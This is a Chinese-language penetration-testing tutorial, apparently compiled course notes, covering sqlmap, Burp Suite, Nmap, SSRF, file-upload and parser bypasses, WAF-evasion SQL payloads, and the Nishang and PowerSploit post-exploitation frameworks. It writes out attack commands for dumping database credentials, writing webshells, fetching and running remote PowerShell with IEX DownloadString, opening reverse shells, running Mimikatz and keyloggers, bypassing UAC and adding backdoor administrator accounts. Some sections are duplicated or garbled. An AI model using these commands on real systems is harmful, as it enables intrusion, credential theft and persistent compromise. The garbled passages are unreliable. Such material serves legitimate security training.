sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
Sqlmap安装
(1)安装sqlmap前,需要先安装 Python3.X
下载地址:https://www.python.org/downloads/windows/
(2)在环境变量path中,增加python3.x安装路径
(3)下载sqlmap并解压缩:在环境变量path中,增加python3.x安装路径
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py --help 查看帮助
sqlmap支持五种不同的注入模式:
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload(级别越高显示信息越多)
--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
设定探测等级
--level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列数据库管理用户
--current-user 在数据库中,目前连接的用户
--is-dba 判断当前是否为管理,是的话返回true
--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象
第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db
四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables
五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms
六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
--level 探测等级
一共有5个等级,默认是1。
sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。
http cookie在2级时可以检测
HTTP user-Agent/Referer在3级时就会检测
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。
roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
-referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
--sql-shell 运行自定义的sql语句时
--sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
运行任意操作系统命令:
选择后台语言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 从数据库服务器中读取文件
该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
–file-write –file-dest 上传文件到数据库服务器中
该命令用于写入本地文件到服务器中
Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1 --file-write ‘c:\user\cisp-pte\desktop\xie1.php’ --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’
--os-cmd=whoami
--os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
--file-read 从数据库服务器中读取文件 :--sql-shell 运行自定义的sql语句当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
--file-write
--file-dest
读取指定数据库用户的密码 --passwords -U root
SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
1. Burpsuite使用前配置
二、Burpsuit功能模块讲解
3.Send to intruder 发送给爆破模块
4.Send to repearter 发送给重放模块
1.2.1 Proxy模块à导入证书代理HTTPS流量
1.2 User option模块 解决HTTP返回信息中的乱码问题
1.3 Scaner模块
1.4 Intruder模块 爆破模式选择
//即多个字典同时滚动
4.Cluster bomb 多变量循环爆破(有循环)
//即基于多个字典循环遍历
信息收集
主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 开启操作系统识别和版本识别功能
– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现
-v 显示信息的级别,-vv显示更详细的信息
192.168.1.1/24 扫描C段 192.168.11 -254 =上
nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)
--------------- 192.168.1.1/24 --exclude 192.168.1.100 (排除在外的目标 .100)
--------------- -----------------excludefile ~/targets.txt
nmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站
nmap –traceroute 192.168.1.1 探测路由
nmap -O 192.168.1.1 对目标进行指纹识别
nmap -sV ---------- 对版本进行探测
nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描,识别是否被关闭,收到RST包, 被关闭。否则是open 后者 fileter状态。 (利用三次握手,可以绕开防火墙)
1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 开启操作系统识别和版本识别功能
– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现
-v 显示信息的级别,-vv显示更详细的信息
192.168.1.1/24 扫描C段 192.168.11 -254 =上
nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)
--------------- 192.168.1.1/24 --exclude 192.168.1.100 (排除在外的目标 .100)
--------------- -----------------excludefile ~/targets.txt
nmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站
nmap –traceroute 192.168.1.1 探测路由
nmap -O 192.168.1.1 对目标进行指纹识别
nmap -sV ---------- 对版本进行探测
nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。 (利用三次握手,可以绕开防火墙)
状态 |
说明 |
open |
应用程序在该端口接收 TCP 连接或者 UDP 报文 |
closed |
关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听 |
filtered |
由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙 |
unfiltered |
未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态 |
open | filtered |
无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。 |
扫描脚本介绍:
位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
脚本类型:
nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令
-----------=brute+ip 暴力破解
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
在局域网内探查更多服务开启状况
更多:
https://nmap.org/nsedoc/categories/
https://blog.csdn.net/whatday/article/details/73823959
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
ssrf漏洞介绍ssrf漏洞介绍
SSRF (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。
ssrf漏洞原理
SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
利用 file 协议读取本地文件等。
漏洞利用 – ssrf
SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。
页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。
如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容,如图所示。
漏洞利用 – ssrf
但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务,如图 4-103 所示
漏洞利用 – ssrf
访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件,如图所示
漏洞代码分析
在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务,代码如下。
修复建议
针对 SSRF 漏洞的修复,给出以下这几点建议。
屏蔽返回的详细信息
1.文件上传漏洞的概述
2.上传漏洞的危害
3.文件上传漏洞的利用
4.文件上传漏洞的防御
文件上传漏洞的概述
现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。
什么是文件上传
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。
• 上传头像
• 插入图片
• 上传附件
为什么会有文件上传
在网站运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这个时候需要使用到网站的文件上传功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷
危害
• 网站被控制
• 服务器沦陷
• 同服务器的其他网站沦陷
常见上传检测规则
•服务端 MIME 类型检测 ( 检测 Content-Type 内容)
•客户端 javascript 检测( 通常为检测文件拓展名)
•服务端目录路径检测( 检测跟 path 参数相关的内容 )
•服务端文件名拓展名检测( 检测跟文件 estension 相关的内容 )
•服务器文件内容检测(检测内容是否合法或含有恶意代码)
服务端文件名拓展检测
基于黑名单检测:
黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。
客户端检测
客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。
判断方式:
在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
服务端目录路径检测
服务端目录路径检测:
一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致
服务端文件名拓展检测-绕过办法
文件名大小写绕过(AsP, pHp等等)
黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)
特殊文件名绕过
修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后 windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
0x00截断绕过
2.文件上传配合解析漏洞Getshell
IIS解析漏洞
目录解析 xx.asp/xx.txt(jpg)
文件解析 xx.asp;.jpg
Apache解析漏洞
Apache/2.2.6
xxx.php.xxxxxx
•WampServer2.0All Version (Apache 2.2.11) [Success]
•WampServer2.1All Version (Apache 2.2.17) [Success]
•Wamp5 All Version (Apache 2.2.6) [Success]
•AppServ 2.4All Version (Apache 2.0.59) [Success]
•AppServ 2.5All Version (Apache 2.2.8) [Success]
•AppServ 2.6All Version (Apache 2.2.8) [Success
Nginx解析漏洞
测试版本 :0.7.63
xxx.jpg%00.php
xxx/1.jpg/1.php
测试版本 :0.7.63
文件类型错误 xxx/1.jpg/1.php
1:创建一张图片
2:用Uedit32打开嵌入代码.
•Nginx 0.5.* [Success]
•Nginx 0.6.* [Success]
•Nginx 0.7 <= 0.7.65 [Success]
•Nginx 0.8 <= 0.8.37 [Success]
php-cgi 解析漏洞
Nginx 1.11.5 / php5.3.29
xxx.jpg/.php
什么是WAF?
•WEB应用防火墙 (Web Application Firewall)
定义:通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。
WAF的分类
•硬件WAF
•软件WAF
•云WAF
•内置WAF
WAF指纹识别(常用)
WAF指纹识别
WAF绕过方法
1. 大小写混合
在规则匹配时只针对了特定大写或特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这样的情况),如下所示。
uNion sElEct 1,2,3,4,5
2.URL编码
•极少部分的 WAF 不会对普通字符进行 URL 解码,如下所示。union select 1,2,3,4,5 上述命令将被编码为如下所示的命令。
%75%6E%69%6F%6E%20%73%65%6℃%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%35
•还有一种情况就是 URL 二次编码,WAF 一般只进行一次解码,而如果目标 Wb 系统的代码中进行了额外的 URL 解码,即可进行绕过。
union select 1,2,3,4,5
上述命令将被编码为如下所示的命令。
%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535
3. 替换关键字
WAF采用替换或者删除select/union这类敏感关键饲的时候,如果只匹配次则很容易进行绕过。
union select 1,2,3,4,5
上述命令将转换为如下所示的命令。
unuionion selselectect 1,2,3,4,5
4. 使用注释
注释在截断 SQL 语句中用得比较多,在绕过 WAF 时主要使用其替代空格(/*任意内容*),适用于检测过程中没有识别注释或替换掉了注释的 WAF。
Union select 1,2,3,4,5上述命令将转换为如下所示的命令。
union/*2333*/select/*aaaa*/1,2,3,4,5
还可以使用内联注释尝试绕过 WAF 的检测。
5. 多参数请求拆分
对于多个参数拼接到同一条$QL 语句中的情况,可以将注入语句分割插入。例如请求 URL 时,GET 参数为如下格式。
a= [input1] &b= [input2]
将 GET 的参数 a 和参数 b 拼接到 SQL 语句中,SQL 语句如下所示。
and a= [input1] and b= [input2]
这时就可以将注入语句进行拆分,如下所示。
a=union/*&b=*/select 1,2,3,4
最终将参数 a 和参数 b 拼接,得到的 SQL 语句如下所示。
and a=union /*and b=*/select 1,2,3,4
6.HTTP 参数污染
HTTP 参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数 color=-red&color=-blue 为例)
在上述提到的中间线中,川 S 比较容易利用,可以直接分割带逗号的 SQL 语句。在其余的中间线中,如果 WF 只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与 WAF 相反的参数,则可成功绕过。下面以 IS 为例,一般的 SQL 注入语句如下所示。
Inject=union select 1,2,3,4
将 SQL 注入语句转换为以下格式。
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
最终在IIS中读入的参数值将如下所示。
Inject=union/*,*/select/*,*/1,2,3,4
7. 生僻函数
使用生僻函数替代常见的函数,例如在报错注入中使用卵 oy9on()函数替换常用的 updatexml()函数,如下所示。
SELECT polygon ((select*from (select*from (select@@version) f) X));
8. 寻找网站源站IP
对于具有云WAF防护的网站而言,只要找到网站的IP地址,然后通过IP访问网
站,就可以绕过云 WAF 的检测。
常见的寻找网站IP的方法有下面这几种。
9. 注入参数到 cookies中
某些程序员在代码中使用$REQUEST获取参数,而$REQUEST会依次从GET/POST/cookie中获取参数,如果WAF 只检测了GET/POST 而没有检测 cookie,可以将注入语句放入cookie中进行绕过。
Nishang简介
Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。
下载地址如下:
https://github.com/samratashok/nishang
下载完成后我们可以看到以下工具里面都包括一些什么功能目录
Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。
使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本
https://www.jianshu.com/p/16cd4b25249c升级powershell到3.0
IEX (New-Object Net.WebClient).DownloadString("http://192.168.206.144/Gather/Get-Information.ps1")
Get-Information
为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell
导入框架,并查看有哪些模块,如下图
powershell
Set-ExecutionPolicy remotesigned #更改执行策略
Import-Module .\nishang.psm1
Get-Command -Module nishang #查看Nishang有哪些模块
Nishang模块攻击实战
开始对部分模块的功能进行讲解:
1.Check-VM
它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish
这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
Invoke-CredentialsPhish
3. Get-PassHashes
在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz
需要管理员权限,抓取密码
5. Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse
Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints
获取用户的密码提示信息,需要有Administrator权限来读取sam hive
有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
PowerShell交互式Shell
Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell
一、基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress
-Port
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口88
第二步:使用nc连接到目标机端口88
2. 反向连接
第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)
第三步:观察攻击机,可以发现成功反弹shell
二、基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口66
第二步:使用nc连接到目标机端口66
2. 反向连接
第一步:使用nc监听本地端口66
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
这里需要说明以下,需要攻击者以管理员身份运行
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
第二步:在目标机上运行下列命令,反弹Shell
第三步:观察攻击机,可以发现成功反弹shell
权限提升
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。方法对照表如下
使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权
Admin用户,在没有使用以管理员身份运行时
WebShell后门
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。
将Nishang的antak.aspx文件,放在IIS网站中
然后访问网站中的antak.aspx文件(出现登陆页面)
Nishang的antak用户名:Disclaimer
Nishang的antak密码:ForLegitUseOnly
登陆成功,进入欢迎页面
输入help,可以得到帮助信息
输入ls,可以查看网站的目录结构
点击download,可以下载网站的重要文件
点击upload the file,可以上传木马文件
PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit
•ActivirusBypass:绕过杀毒软件查杀
•CodeExecution:在目标主机上执行代码
•Exfiltration:目标主机上的信息搜集工具
•Mayhem:蓝屏等破坏性的脚本
•Persistence:权限维持
•Privsec:提权等脚本
•Recon:以目标主机为跳板进行内网信息侦查
•ScriptModification:在目标主机上创建或修改脚本
PowerSploit安装
下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。
这里以kali服务器为例,介绍两种方式
第一种方式:
开启apache服务:service apache2 start
将powersploit目录放到/var/www/html/中
第二种方式:
切换到powersploit目录,然后执行如下命令开启WEB服务器
python3 -m http.server 8080
Git clone https://github.com/PowerShellMafia/PowerSploit
在浏览器中打开WEB服务器地址,如下图所示
PowerSploit脚本攻击实战
PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。
利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。
为方便,这里我们直接在目标服务器做这些操作
CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。
直接执行ShellCode反弹Meterpreter Shell
首先在MSF里使用reverse_https模块进行监听
使用msfvenom命令生成一个PowerShell脚本木马
接着在目标机Powershell下输入以下命令下载该脚本
接着输入以下命令下载木马
接着在PowerShell下运行该命令
Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。
Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。
首先下载脚本
然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可
以看到,扫描出该IP机器开放了80,22,4444端口
Invoke-Mimikatz 信息收集
Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。
然后载入脚本
然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321
Get-Keystrokes 键盘记录器
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间
首先下载脚本
然后执行以下命令开启键盘记录
使用键盘输入一些内容
查看c:\windows\temp\key.txt中记录的内容
Get-TimedScreenshot 屏幕记录
Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本
首先下载脚本
注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹 下
PowerUP攻击模块
Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。
通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载
在源码中搜索function,看PowerUP有哪些模块
如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如
Get-Help Invoke-AllChecks -full
下面开始对模块介绍:
1.Invoke-AllChecks
执行所有的脚本来检查。
执行方式:
PS C:> Invoke-AllChecks
2.Find-PathDLLHijack
检查当前%PATH%是否存在哪些目录是当前用户可以写入的。
执行方式:
PS C:>Find-Pathdllhijack
3. Get-ApplicationHost
从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
执行方式:
PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated
检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。
执行方式:
PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon
检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。
执行方式:
PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail
返回某服务的信息。
执行方式:
PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission
检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。
执行方式:
C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
执行方式:
PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe
执行方式:
PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile
检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\UnattendUnattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\UnattendUnattend.xml
c:\windows\S\ystem32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
执行方式:
PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun
检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
执行方式:
PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile
返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:
PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig
返回当前服务器上的web.config文件中的数据库连接字符串的明文。
执行方式:
PS C:>get-webconfig
14. Invoke-ServiceAbuse
用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命
15. Restore-ServiceBinary
恢复服务的可执行文件到原始目录。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:
PS C:> Write-UserAddMSI
19. Write-ServiceBinary
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
